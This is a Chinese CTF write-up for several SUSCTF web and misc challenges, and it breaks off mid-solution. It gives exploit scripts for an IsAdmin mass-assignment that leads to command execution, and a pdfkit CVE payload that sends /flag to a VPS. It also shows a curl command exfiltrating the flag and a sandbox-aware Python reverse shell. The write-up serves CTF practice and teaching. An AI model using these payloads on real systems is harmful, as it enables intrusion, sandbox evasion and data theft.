Web

am i admin?

​ 下载附件得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// main.go
package main

import (
"log"
"net/http"
)

const PORT_STR = ":8080"

func main() {
adminPassword := GenRandomSeq(16)
log.Printf("Admin password: %s\n", adminPassword)
adminUserCreds := UserCreds{
Username: "admin",
Password: adminPassword,
IsAdmin: true,
}

store := NewSessionStore()
userDB := NewUserDB()
userDB.Lock()
userDB.users["admin"] = adminUserCreds
userDB.Unlock()
auth := &Auth{
AdminPassword: adminPassword,
Store: store,
UserDB: userDB,
}

http.HandleFunc("/register", auth.RegisterHandler)
http.HandleFunc("/login", auth.LoginHandler)
http.HandleFunc("/logout", auth.LogoutHandler)
http.HandleFunc("/run", auth.RequireAdmin(RunCommandHandler))

log.Printf("Server running on %s\n", PORT_STR)
log.Fatal(http.ListenAndServe(PORT_STR, nil))
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// handlers.go
package main

import (
"encoding/json"
"net/http"
"os/exec"
)

type RunCommandReq struct {
Cmd string `json:"cmd"`
Args []string `json:"args"`
}

func RunCommandHandler(w http.ResponseWriter, r *http.Request) {
var body RunCommandReq
json.NewDecoder(r.Body).Decode(&body)
out, err := exec.Command(body.Cmd, body.Args...).CombinedOutput()
resp := map[string]string{
"output": string(out),
}
if err != nil {
resp["error"] = err.Error()
}
json.NewEncoder(w).Encode(resp)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// auth.go
package main

import (
"encoding/json"
"fmt"
"net/http"
"sync"
)

type UserCreds struct {
Username string `json:"username"`
Password string `json:"password"`
IsAdmin bool
}

type SessionStore struct {
sync.Mutex
sessions map[string]UserCreds // sessionID -> UserCreds
}

func NewSessionStore() *SessionStore {
return &SessionStore{sessions: make(map[string]UserCreds)}
}

type UserDB struct {
sync.Mutex
users map[string]UserCreds // username -> creds
}

func NewUserDB() *UserDB {
return &UserDB{users: make(map[string]UserCreds)}
}

type Auth struct {
AdminPassword string
Store *SessionStore
UserDB *UserDB
}

func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) {
var c UserCreds
json.NewDecoder(r.Body).Decode(&c)
if c.Username == "" || c.Password == "" {
http.Error(w, "username and password required", http.StatusBadRequest)
return
}
if c.Username == "admin" {
http.Error(w, "cannot register as admin", http.StatusForbidden)
return
}
a.UserDB.Lock()
defer a.UserDB.Unlock()
if _, exists := a.UserDB.users[c.Username]; exists {
http.Error(w, "username already exists", http.StatusConflict)
return
}
a.UserDB.users[c.Username] = c
w.Write([]byte("register success"))
}

func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) {
var c UserCreds
json.NewDecoder(r.Body).Decode(&c)
a.UserDB.Lock()
user, ok := a.UserDB.users[c.Username]
a.UserDB.Unlock()
if ok && user.Password == c.Password {
if user.Username == "admin" && user.Password == a.AdminPassword {
user.IsAdmin = true
}
sessionID := GenRandomSeq(32)
a.Store.Lock()
a.Store.sessions[sessionID] = user
a.Store.Unlock()
http.SetCookie(w, &http.Cookie{Name: "session_id", Value: sessionID, Path: "/"})
fmt.Fprintf(w, "user %s logged in", user.Username)
return
}
http.Error(w, "invalid credentials", http.StatusUnauthorized)
}

func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "no session, are you logged in?", http.StatusInternalServerError)
return
}
a.Store.Lock()
delete(a.Store.sessions, cookie.Value)
a.Store.Unlock()
w.Write([]byte("user logged out"))
}

func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "not logged in", http.StatusUnauthorized)
return
}
a.Store.Lock()
user, ok := a.Store.sessions[cookie.Value]
a.Store.Unlock()
if !ok || !user.IsAdmin {
http.Error(w, "admin only", http.StatusForbidden)
return
}
next(w, r)
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// utils.go
package main

import (
"crypto/rand"
"encoding/base64"
)

func GenRandomSeq(length int) string {
b := make([]byte, length)
_, err := rand.Read(b)
if err != nil {
panic(err)
}
return base64.URLEncoding.EncodeToString(b)[:length]
}

​ 按照预期逻辑,我们需要知道admin的密码,登录admin账号才可以使得IsAdmintrue,但是admin的账户密码是随机生成的,这这意味着,如果我们要爆破,则至多需要64**16次尝试,不太现实,正常登录的路径不太行。

​ 但是可以注意到注册逻辑,是直接获取用户发送的json数据,虽然IsAdmin字段没有 JSON 标签,但 Go 默认会序列化导出字段,这意味着我们在注册时可以手动指定IsAdmintrue,并且后续没有其他逻辑会使得它变为false

​ 最后借助/run直接rce即可,以下EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

url = "http://106.14.191.23:55112"

def login(username, password):
post_data = {
"username": username,
"password": password
}

res = requests.post(url+"/login", json=post_data)

print(res.cookies)
return res.cookies["session_id"]

def register(username, password):
post_data = {
"username": username,
"password": password,
"IsAdmin": True
}

res = requests.post(url+"/register", json=post_data)
print(res.text)

def run(cmd, args,session_id):
post_data = {
"cmd": cmd,
"args": args
}
headers = {
"Cookie":"session_id="+session_id
}

res = requests.post(url+"/run", json=post_data, headers=headers)
print(res.text)


if __name__ == "__main__":
u = "BR"
p = "123456"
register(u,p)
session_id = login(u,p)
run("cat",["/flag"], session_id)

image-20251006220727410

am i admin?2

​ 相比上一题,waf了一下IsAdmin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package main

import (
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"sync"
)

type UserCreds struct {
Username string `json:"username"`
Password string `json:"password"`
IsAdmin bool
}

type SessionStore struct {
sync.Mutex
sessions map[string]UserCreds // sessionID -> UserCreds
}

func NewSessionStore() *SessionStore {
return &SessionStore{sessions: make(map[string]UserCreds)}
}

type UserDB struct {
sync.Mutex
users map[string]UserCreds // username -> creds
}

func NewUserDB() *UserDB {
return &UserDB{users: make(map[string]UserCreds)}
}

type Auth struct {
AdminPassword string
Store *SessionStore
UserDB *UserDB
}

func (a *Auth) RegisterHandler(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
bodyStr := string(body)
if strings.Contains(bodyStr, "IsAdmin") {
http.Error(w, "not allowed!", http.StatusForbidden)
return
}

var c UserCreds
json.Unmarshal(body, &c)
if c.Username == "" || c.Password == "" {
http.Error(w, "username and password required", http.StatusBadRequest)
return
}
if c.Username == "admin" {
http.Error(w, "cannot register as admin", http.StatusForbidden)
return
}
a.UserDB.Lock()
defer a.UserDB.Unlock()
if _, exists := a.UserDB.users[c.Username]; exists {
http.Error(w, "username already exists", http.StatusConflict)
return
}
a.UserDB.users[c.Username] = c
w.Write([]byte("register success"))
}

func (a *Auth) LoginHandler(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
bodyStr := string(body)
if strings.Contains(bodyStr, "IsAdmin") {
http.Error(w, "not allowed!", http.StatusForbidden)
return
}

var c UserCreds
json.Unmarshal(body, &c)
a.UserDB.Lock()
user, ok := a.UserDB.users[c.Username]
a.UserDB.Unlock()
if ok && user.Password == c.Password {
if user.Username == "admin" && user.Password == a.AdminPassword {
user.IsAdmin = true
}
sessionID := GenRandomSeq(32)
a.Store.Lock()
a.Store.sessions[sessionID] = user
a.Store.Unlock()
http.SetCookie(w, &http.Cookie{Name: "session_id", Value: sessionID, Path: "/"})
fmt.Fprintf(w, "user %s logged in", user.Username)
return
}
http.Error(w, "invalid credentials", http.StatusUnauthorized)
}

func (a *Auth) LogoutHandler(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "no session, are you logged in?", http.StatusInternalServerError)
return
}
a.Store.Lock()
delete(a.Store.sessions, cookie.Value)
a.Store.Unlock()
w.Write([]byte("user logged out"))
}

func (a *Auth) RequireAdmin(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "not logged in", http.StatusUnauthorized)
return
}
a.Store.Lock()
user, ok := a.Store.sessions[cookie.Value]
a.Store.Unlock()
if !ok || !user.IsAdmin {
http.Error(w, "admin only", http.StatusForbidden)
return
}
next(w, r)
}
}

​ 换小写就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

url = "http://106.14.191.23:50706"

def login(username, password):
post_data = {
"username": username,
"password": password
}

res = requests.post(url+"/login", json=post_data)

print(res.cookies["session_id"])
return res.cookies["session_id"]

def register(username, password):
post_data = {
"username": username,
"password": password,
"isadmin": True
}

res = requests.post(url+"/register", json=post_data)
print(res.text)

def run(cmd, args,session_id):
post_data = {
"cmd": cmd,
"args": args
}
headers = {
"Cookie":"session_id="+session_id
}

res = requests.post(url+"/run", json=post_data, headers=headers)
print(res.text)


if __name__ == "__main__":
u = "BR"
p = "123456"
register(u,p)
session_id = login(u,p)
run("cat",["/flag"], session_id)

image-20251006221022544

easyprint

​ 附件给到题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, request, render_template, send_file
import pdfkit
import io

app = Flask(__name__)

options = {"disable-javascript": ""}


@app.route("/", methods=["GET"])
def index():
default_html = "<html><h2>Hello PDF</h2><p>This is sample text that will be converted to PDF.</p></html>"
return render_template("index.html", default_html=default_html)


@app.route("/generate_pdf", methods=["POST"])
def generate_pdf():
html_content = request.form.get("html_content", "")

pdf = pdfkit.from_string(html_content, False)

return send_file(
io.BytesIO(pdf),
mimetype="application/pdf",
as_attachment=True,
download_name="generated.pdf",
)


if __name__ == "__main__":
app.run(host="0.0.0.0")

​ 很明显,漏洞点应该在于pdfkit或者wkhtmltopdf

​ 找到个CVE-2025-26240

​ 拿payload直接打即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://106.14.191.23:59859"
vps = "http://x.x.x.x:xxxx"
file_path = "/flag"

payload = f"""<meta name='pdfkit---quiet' content=''>
<meta name='pdfkit---enable-local-file-access' content=''>
<meta name='pdfkit---post-file' content=''>
<meta name='pdfkit-file--a' content='{file_path}'>
<meta name='pdfkit-{vps}/?LFI-TEST=--' content='--cache-dir'>
<h1>LFI POC</h1>
"""

post_data = {
"html_content": payload
}

res = requests.post(url+"/generate_pdf", data=post_data)

print(res.status_code)

image-20251006232552003

Misc

Questionnaire

​ 问卷题,正常答完题抽个奖就行:

image-20251006222137993

curlbash

​ 下载附件得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import subprocess
import os
import hashlib
import requests


ROOT = "/app"
TEST_SCRIPT_PATH = "testscript.sh"

CURLBASH = """
#!/bin/bash

curl -fsSL {url} | bash -re
"""


def hash_file(path):
h = hashlib.sha256()
with open(path, "rb") as f:
while chunk := f.read(8192):
h.update(chunk)
return h.hexdigest()


def snapshot_directory(*paths):
file_hashes = {}
for path in paths:
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
try:
file_hashes[full_path] = hash_file(full_path)
except Exception:
pass
return file_hashes


def fetch(url):
result = requests.get(url)
result.raise_for_status()
return result.text


def fetch_with_curl(url):
result = subprocess.run(["curl", "-fsSL", url], capture_output=True, text=True)
if result.returncode != 0:
print("Failed to download script!")
exit(1)
return result.stdout


def write_script_to_chroot(script_path, script_content):
content = "readonly LD_PRELOAD\n" + script_content
script_file = os.path.join(ROOT, script_path)
with open(script_file, "w") as f:
f.write(content)
os.chmod(script_file, 0o755)


def run_bash_script(script_path, sandbox=True):
script_path = os.path.join(ROOT, script_path)
sandbox_cmd = ["/bin/bash", "-re", script_path]
if sandbox:
# qemu-x86_64 is a safe sandbox with isolated network & filesystem
# try locally with "unshare -n"
sandbox_cmd.insert(0, "qemu-x86_64")
result = subprocess.run(sandbox_cmd, capture_output=True, text=True)
# print("Script stdout:", result.stdout)
# print("Script stderr:", result.stderr)
print("Exit code:", result.returncode)
if result.returncode != 0:
print("Ah-oh exit code. You fail!")
exit(1)


def run_sandboxed(url):
# fetch first
s = fetch_with_curl(url)
if s != fetch(url):
print("WTH did you give me?")
exit(1)
write_script_to_chroot(TEST_SCRIPT_PATH, s)
# Snapshot root filesystem before running script
root_snapshot_before = snapshot_directory(ROOT, "/tmp", "/dev/shm")

# Run script sandboxed
run_bash_script(TEST_SCRIPT_PATH)

# Snapshot root filesystem after running script
root_snapshot_after = snapshot_directory(ROOT, "/tmp", "/dev/shm")

# Compare snapshots for any changes
changed_files = []
for fpath, hsh in root_snapshot_before.items():
if fpath in root_snapshot_after:
if root_snapshot_after[fpath] != hsh:
changed_files.append(fpath)
else:
changed_files.append(fpath + " (deleted)")

new_files = [f for f in root_snapshot_after if f not in root_snapshot_before]

if not changed_files and not new_files:
print("No disk files were modified by the script. Good!")
else:
print(f"Files changed: {changed_files}")
print(f"New files: {new_files}")
print("Some disk files were modified. You fail.")
exit(1)


def run_curlbash(url):
write_script_to_chroot(TEST_SCRIPT_PATH, CURLBASH.format(url=url))
run_bash_script(TEST_SCRIPT_PATH, sandbox=False)


def main():
url = input("Your script: ")

# Run random times in sandbox (to make sure you are not spoofing)
random_index = int.from_bytes(os.urandom(1), "big") % 32
for i in range(random_index):
print(f"[Round {i}]", end=" ")
run_sandboxed(url)

# Since the content is safe, do it in curlbash this time
print(f"[Round {random_index} CURLBASH]", end=" ")
run_curlbash(url)


if __name__ == "__main__":
main()

​ 先获取shell脚本,然后在沙箱环境下执行n次,如果n次都正常执行,那么就在非沙箱环境下执行一次,同时所有的执行结果无回显。

​ 这边一个非预期就是直接利用vps外带回显:

1
curl -fsSL http://x.x.x.x:xxxx/`cat /flag` | bash -re

image-20251006230811131

image-20251006232525515

​ 手动补一下缺少的{}即可

curlbash-revenge

​ 修复了curlbash的非预期解。附件同curlbash,仅更新了远程题目环境。

​ 这里一开始我发现,正常执行结果返回0,而如果命令不存在,就会返回127,借此以达到布尔盲注得到回显的目的,一开始的盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

ip = "106.14.191.23"
port = 53900
script_path = "http://x.x.x.x:xxxx/exp.sh"
cmd = "cat /flag"

def check():
io = remote(ip, port)
io.sendlineafter(b"Your script:", script_path)

res = io.recvuntil(b'.')

if b"Exit code: 0" in res:
io.recvall()
return True
elif b"Exit code: 127" in res:
io.recvall()
return False
else:
print("ERROR")
exit(0)

def test(goal, index):
return goal > index

def update_sh(index, ch):
if ch in ["`","\\"]:
ch = "\\"+ch

script = f"""#!/bin/bash

result=$({cmd})

first_char="${{result:{index}:1}}"

if [[ "$first_char" > "{ch}" ]]; then
pwd
else
aaa
fi
"""

with open("exp.sh","w") as fp:
fp.write(script)


if __name__ == "__main__":
result = ""

while True:
left = 1
right = 126
index = (left+right)//2
while True:
print(f"left: {left}, right: {right}, index: {index}")
if left >= right:
print(f"Find: {chr(index)}")
result += chr(index)
print(f"Result: "+ result)
break

update_sh(len(result), chr(index))
if check():
# if test(113, index):
left = index + 1
else:
right = index
index = (left+right)//2

if chr(index) == "~":
break

​ 但是后面发现效率太低,而且拿到的是沙箱的flag:susctf{fake_flag}

​ 正解应该是识别沙箱环境,如果是沙箱就正常执行,如果不是沙箱再执行恶意代码,我这里选择利用python直接反弹shell:

1
2
3
4
5
6
7
8
9
#!/bin/bash

read -r PROC_NAME < /proc/self/comm

if [[ "$PROC_NAME" == qemu* ]]; then
pwd
else
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
fi

image-20251006232122581

easyjail

​ 下载附件得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import subprocess
import os
import hashlib
import requests


ROOT = "/app"
TEST_SCRIPT_PATH = "testscript.sh"


def hash_file(path):
h = hashlib.sha256()
with open(path, "rb") as f:
while chunk := f.read(8192):
h.update(chunk)
return h.hexdigest()


def snapshot_directory(*paths):
file_hashes = {}
for path in paths:
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
try:
file_hashes[full_path] = hash_file(full_path)
except Exception:
pass
return file_hashes


def fetch(url):
r = requests.get(url)
r.raise_for_status()
return r.text


def write_script_to_chroot(script_path, script_content):
content = "readonly LD_PRELOAD\n" + script_content
script_file = os.path.join(ROOT, script_path)
with open(script_file, "w") as f:
f.write(content)
os.chmod(script_file, 0o755)


def run_bash_script_sandbox(script_path):
script_path = os.path.join(ROOT, script_path)
env = {"LD_PRELOAD": "./override.so"}
sandbox_cmd = ["bash", "-re", script_path]
result = subprocess.run(sandbox_cmd, capture_output=True, text=True, env=env)
return result


def main():
url = input("Your script: ")
s = fetch(url)
write_script_to_chroot(TEST_SCRIPT_PATH, s)

# Snapshot root filesystem before running script
root_snapshot_before = snapshot_directory(ROOT, "/tmp", "/dev/shm")

# Run script sandboxed
result = run_bash_script_sandbox(TEST_SCRIPT_PATH)
print("Script stdout:", result.stdout)
print("Script stderr:", result.stderr)
print("Exit code:", result.returncode)
if result.returncode != 0:
print("Ah-oh exit code. You fail!")
exit(1)

# Snapshot root filesystem after running script
root_snapshot_after = snapshot_directory(ROOT, "/tmp", "/dev/shm")

# Compare snapshots for any changes
changed_files = []
for fpath, hsh in root_snapshot_before.items():
if fpath in root_snapshot_after:
if root_snapshot_after[fpath] != hsh:
changed_files.append(fpath)
else:
changed_files.append(fpath + " (deleted)")

new_files = [f for f in root_snapshot_after if f not in root_snapshot_before]

if not changed_files and not new_files:
print("No disk files were modified by the script. Good!")
else:
print(f"Files changed: {changed_files}")
print(f"New files: {new_files}")
print("Some disk files were modified. You fail.")
exit(1)


if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// override.c
#define _POSIX_C_SOURCE 200809L
#include <arpa/inet.h>
#include <dlfcn.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/openat2.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>

typedef int (*open_func_t)(const char *, int, ...);
typedef int (*openat_func_t)(int, const char *, int, ...);
typedef int (*openat2_func_t)(int, const char *, struct open_how *, size_t);
typedef int (*io_uring_setup_t)(unsigned int, void *);
typedef int (*io_uring_enter_t)(unsigned int, unsigned int, unsigned int,
unsigned int, void *);
typedef int (*connect_func_t)(int, const struct sockaddr *, socklen_t);

int open(const char *pathname, int flags, ...) {
static open_func_t real_open = NULL;
if (!real_open) {
real_open = (open_func_t)dlsym(RTLD_NEXT, "open");
}

if (pathname && strstr(pathname, "flag") != NULL) {
errno = EPERM;
return -1;
}

if ((flags & O_PATH) == O_PATH) {
errno = EPERM;
return -1;
}

mode_t mode = 0;
if (flags & O_CREAT) {
va_list args;
va_start(args, flags);
mode = va_arg(args, mode_t);
va_end(args);
return real_open(pathname, flags, mode);
}
return real_open(pathname, flags);
}

int openat(int dirfd, const char *pathname, int flags, ...) {
static openat_func_t real_openat = NULL;
if (!real_openat) {
real_openat = (openat_func_t)dlsym(RTLD_NEXT, "openat");
}

if (pathname && strstr(pathname, "flag") != NULL) {
errno = EPERM;
return -1;
}

if ((flags & O_PATH) == O_PATH) {
errno = EPERM;
return -1;
}

mode_t mode = 0;
if (flags & O_CREAT) {
va_list args;
va_start(args, flags);
mode = va_arg(args, mode_t);
va_end(args);
return real_openat(dirfd, pathname, flags, mode);
}
return real_openat(dirfd, pathname, flags);
}

int openat2(int dirfd, const char *pathname, struct open_how *how,
size_t size) {
typedef int (*openat2_func_t)(int, const char *, struct open_how *, size_t);
static openat2_func_t real_openat2 = NULL;
if (!real_openat2) {
real_openat2 = (openat2_func_t)dlsym(RTLD_NEXT, "openat2");
}

if (pathname && strstr(pathname, "flag") != NULL) {
errno = EPERM;
return -1;
}

if ((how->flags & O_PATH) == O_PATH) {
errno = EPERM;
return -1;
}

return real_openat2(dirfd, pathname, how, size);
}

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
static connect_func_t real_connect = NULL;
if (!real_connect) {
real_connect = (connect_func_t)dlsym(RTLD_NEXT, "connect");
}

if (addr->sa_family == AF_INET && addrlen >= sizeof(struct sockaddr_in)) {
struct sockaddr_in new_addr = *(struct sockaddr_in *)addr;
new_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
return real_connect(sockfd, (struct sockaddr *)&new_addr, addrlen);
}

errno = EAFNOSUPPORT;
return -1;
}

int io_uring_setup(unsigned int entries, void *params) {
errno = EPERM;
return -1;
}

int io_uring_enter(unsigned int fd, unsigned int to_submit,
unsigned int min_complete, unsigned int flags, void *sig) {
errno = EPERM;
return -1;
}

​ 沙箱绕过类题目,禁了外联,禁止在/tmp/app/dev/shm下进行文件更新,禁止读取带有flag的文件。

​ 先找一下有没有可以写入文件的其他文件夹:

1
find / -type d -perm -o+w

image-20251006225525062

​ 可以利用/var/tmp目录,配合软链接读取flag:

1
2
ln -s /flag /var/tmp/f
cat /var/tmp/f

image-20251006225727497

eat-mian

​ 需要用nc连接,需要我们输入一个http请求体,然后回显一个http响应体。

​ 显然应该是存在ssrf问题,先尝试访问一下它本地的http服务。

​ 这里为了方便操作,我选择利用socat进行一个代理:

1
socat TCP-LISTEN:8080,fork,reuseaddr TCP:106.14.191.23:53776

​ 访问:

1
curl -X GET http://127.0.0.1:8080/

​ 得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<!doctype html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Online Judge</title>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/@xterm/xterm/css/xterm.css"
/>
<link rel="stylesheet" href="/static/style.css" />
</head>

<body>
<nav>
<span>SUSCTF 在线判题系统</span>
<span>
<button id="run">运行</button>
<button id="submit" class="prime">提交</button>
</span>
</nav>
<main class="span-container-x">
<div class="span-a">
<div class="card">
<span class="card-head">题目描述</span>
<div id="info" class="card-body"></div>
</div>
</div>
<div class="span-b" style="width: 60%">
<div class="span-container-y">
<div class="span-a" style="height: 70%">
<div class="card">
<span class="card-head">代码</span>
<div id="container" class="card-body" style="overflow: hidden">
<div id="editor"></div>
</div>
</div>
</div>
<div class="span-b">
<div class="card">
<span class="card-head">测试结果</span>
<div class="card-body" id="result" style="overflow: hidden"></div>
</div>
</div>
</div>
</div>
</main>
<script type="importmap">
{
"imports": {
"@monaco-editor/loader": "https://cdn.jsdelivr.net/npm/@monaco-editor/loader/+esm",
"marked": "https://cdn.jsdelivr.net/npm/marked/lib/marked.esm.js",
"@xterm/xterm": "https://cdn.jsdelivr.net/npm/@xterm/xterm/+esm",
"@xterm/addon-fit": "https://cdn.jsdelivr.net/npm/@xterm/addon-fit/+esm"
}
}
</script>
<script>
async function fetchData() {
const info_response = await fetch("/static/task.md");
const info = await info_response.text();
const code_response = await fetch("/static/task.c");
const code = await code_response.text();
return { info, code };
}
async function postData(code) {
const response = await fetch("/submit", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ code }),
});
return await response.json();
}
</script>
<script type="module">
import loader from "@monaco-editor/loader";
import { marked } from "marked";
import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

let editor;
loader.config({ "vs/nls": { availableLanguages: { "*": "zh-cn" } } });
fetchData().then(({ info, code }) => {
loader.init().then((monacoInstance) => {
editor = monacoInstance.editor.create(
document.getElementById("editor"),
{
value: localStorage.getItem("code") ?? code,
language: "c",
automaticLayout: true,
},
);
editor.onDidChangeModelContent(() => {
localStorage.setItem("code", editor.getValue());
});
editor.addAction({
id: "susctf-action-reset",
label: "重置代码",
contextMenuGroupId: "navigation",
contextMenuOrder: 1.5,
run() {
editor.pushUndoStop();
editor.executeEdits("name-of-edit", [
{
range: editor.getModel().getFullModelRange(),
text: code,
},
]);
editor.pushUndoStop();
},
});
editor.focus();
});
document.getElementById("info").innerHTML = marked.parse(info);
});

const terminal = new Terminal({
convertEol: false,
disableStdin: true,
rows: 1,
cols: 10,
theme: {
background: "#fff",
foreground: "#000",
},
});
const fitAddon = new FitAddon();
terminal.loadAddon(fitAddon);
terminal.open(document.getElementById("result"));
fitAddon.fit();
terminal.write("=== 运行或提交后显示 ===\r\n");

document.getElementById("run").addEventListener("click", () => {
alert("不许运行");
});

const button = document.getElementById("submit");
button.addEventListener("click", () => {
button.setAttribute("disabled", "disabled");
terminal.clear();
terminal.write("=== 运行中 ===\r\n");
postData(editor.getValue()).then((data) => {
terminal.clear();
terminal.write(data.data + "\r\n");
button.removeAttribute("disabled");
});
});
</script>
</body>
</html>

​ 这是一个判题系统,需要我们完成指定任务,再获取一下task.mdtask.c文件

1
2
curl -X GET http://127.0.0.1:8080/static/task.md
curl -X GET http://127.0.0.1:8080/static/task.c

​ 得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# eat-mian

我要食面!

**注意**:提交的代码中不能出现 `int``main` 关键字。

你的代码将以头文件的形式嵌入测试代码中,且所有 `int``main` 均将被替换为 `eat``mian`

例如:
```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

// 你写的代码会插入这里

int main(void) {
srand(time(NULL));
int n = rand();
printf("I int %d cups of main! wwwww\n", n);
return 0;
}

```
会变成:
```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

// 你写的代码会插入这里

eat mian(void) {
srand(time(NULL));
eat n = rand();
preatf("I eat %d cups of mian! wwwww\n", n);
return 0;
}

```

要求输出: `I eat \d+ cups of mian! wwwww`

​ 和

1
// write your code here

​ 显然,如果我们不做任何操作(即不插入任何代码),原代码肯定无法正常运行,对此有三个部分需要修正:

  1. int被替换为eat

    这个很好解决,定义个宏即可:

    1
    #define eat long
  2. printf被替换为preatf

    我们自己定义一个preatf函数实现原printf的功能即可,这里我选择使用puts代替。

    1
    2
    3
    void preatf(const char *fmt, long n){
    puts("I eat 666 cups of mian! wwwww");
    }
  3. main被替换为mian

    可利用gcc的内联汇编语句,把mian设为main的别名,然后用引号拼接绕过关键词检测,即:

    1
    __asm__(".globl mai""n\n.set mai""n,mian");

​ 那么完整需要插入的语句就是:

1
2
3
4
5
#define eat long
__asm__(".globl mai""n\n.set mai""n,mian");
void preatf(const char *fmt, long n){
puts("I eat 666 cups of mian! wwwww");
}

​ 使用curl发送:

1
